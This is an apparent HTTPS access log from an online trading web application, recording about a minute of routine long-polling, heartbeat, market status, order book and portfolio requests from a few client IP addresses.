[09/Jan/2026:15:51:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945333260 HTTP/1.1" -
[09/Jan/2026:15:51:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945333984 HTTP/1.1" -
[09/Jan/2026:15:51:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945349706 HTTP/1.1" -
[09/Jan/2026:15:51:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945334888 HTTP/1.1" -
[09/Jan/2026:15:51:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945334325 HTTP/1.1" -
[09/Jan/2026:15:51:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:51:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:51:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:51:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:51:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945338292 HTTP/1.1" -
[09/Jan/2026:15:51:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945339020 HTTP/1.1" -
[09/Jan/2026:15:51:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945354766 HTTP/1.1" -
[09/Jan/2026:15:51:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945339445 HTTP/1.1" -
[09/Jan/2026:15:51:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945340884 HTTP/1.1" -
[09/Jan/2026:15:51:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945343334 HTTP/1.1" -
[09/Jan/2026:15:51:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945344056 HTTP/1.1" -
[09/Jan/2026:15:51:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945359794 HTTP/1.1" -
[09/Jan/2026:15:51:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945344497 HTTP/1.1" -
[09/Jan/2026:15:51:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945346879 HTTP/1.1" -
[09/Jan/2026:15:51:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945348362 HTTP/1.1" -
[09/Jan/2026:15:51:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945349077 HTTP/1.1" -
[09/Jan/2026:15:51:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945364818 HTTP/1.1" -
[09/Jan/2026:15:51:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945349641 HTTP/1.1" -
[09/Jan/2026:15:51:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945352892 HTTP/1.1" -
[09/Jan/2026:15:51:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945353388 HTTP/1.1" -
[09/Jan/2026:15:51:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945354108 HTTP/1.1" -
[09/Jan/2026:15:51:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945369892 HTTP/1.1" -
[09/Jan/2026:15:51:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945354783 HTTP/1.1" -
[09/Jan/2026:15:51:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945358419 HTTP/1.1" -
[09/Jan/2026:15:51:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:51:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:51:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945358882 HTTP/1.1" -
[09/Jan/2026:15:51:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:51:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:51:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945359126 HTTP/1.1" -
[09/Jan/2026:15:51:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945374956 HTTP/1.1" -
[09/Jan/2026:15:51:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945359923 HTTP/1.1" -
[09/Jan/2026:15:51:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1154
[09/Jan/2026:15:51:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:51:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:51:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1874
[09/Jan/2026:15:51:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945363510 HTTP/1.1" -
[09/Jan/2026:15:51:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945364150 HTTP/1.1" -
[09/Jan/2026:15:51:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945364893 HTTP/1.1" -
[09/Jan/2026:15:51:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945379977 HTTP/1.1" -
[09/Jan/2026:15:51:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:51:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:51:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945364975 HTTP/1.1" -
[09/Jan/2026:15:51:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:51:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:51:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945368550 HTTP/1.1" -
[09/Jan/2026:15:51:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945369179 HTTP/1.1" -
[09/Jan/2026:15:51:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945384998 HTTP/1.1" -
[09/Jan/2026:15:51:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945370891 HTTP/1.1" -
[09/Jan/2026:15:51:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945370164 HTTP/1.1" -
[09/Jan/2026:15:51:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945373590 HTTP/1.1" -
[09/Jan/2026:15:51:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945374197 HTTP/1.1" -
[09/Jan/2026:15:51:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945390025 HTTP/1.1" -
[09/Jan/2026:15:51:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1154
[09/Jan/2026:15:51:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:51:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945375207 HTTP/1.1" -
[09/Jan/2026:15:51:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945376880 HTTP/1.1" -
[09/Jan/2026:15:51:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945378617 HTTP/1.1" -
[09/Jan/2026:15:51:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945379229 HTTP/1.1" -
[09/Jan/2026:15:51:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945395056 HTTP/1.1" -
[09/Jan/2026:15:51:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945380332 HTTP/1.1" -
[09/Jan/2026:15:51:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945382882 HTTP/1.1" -
[09/Jan/2026:15:51:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945383647 HTTP/1.1" -
[09/Jan/2026:15:51:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945384247 HTTP/1.1" -
[09/Jan/2026:15:51:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945400089 HTTP/1.1" -
[09/Jan/2026:15:51:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:51:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:51:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945385457 HTTP/1.1" -
[09/Jan/2026:15:51:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:51:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1491
[09/Jan/2026:15:51:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945388690 HTTP/1.1" -
[09/Jan/2026:15:51:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:51:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
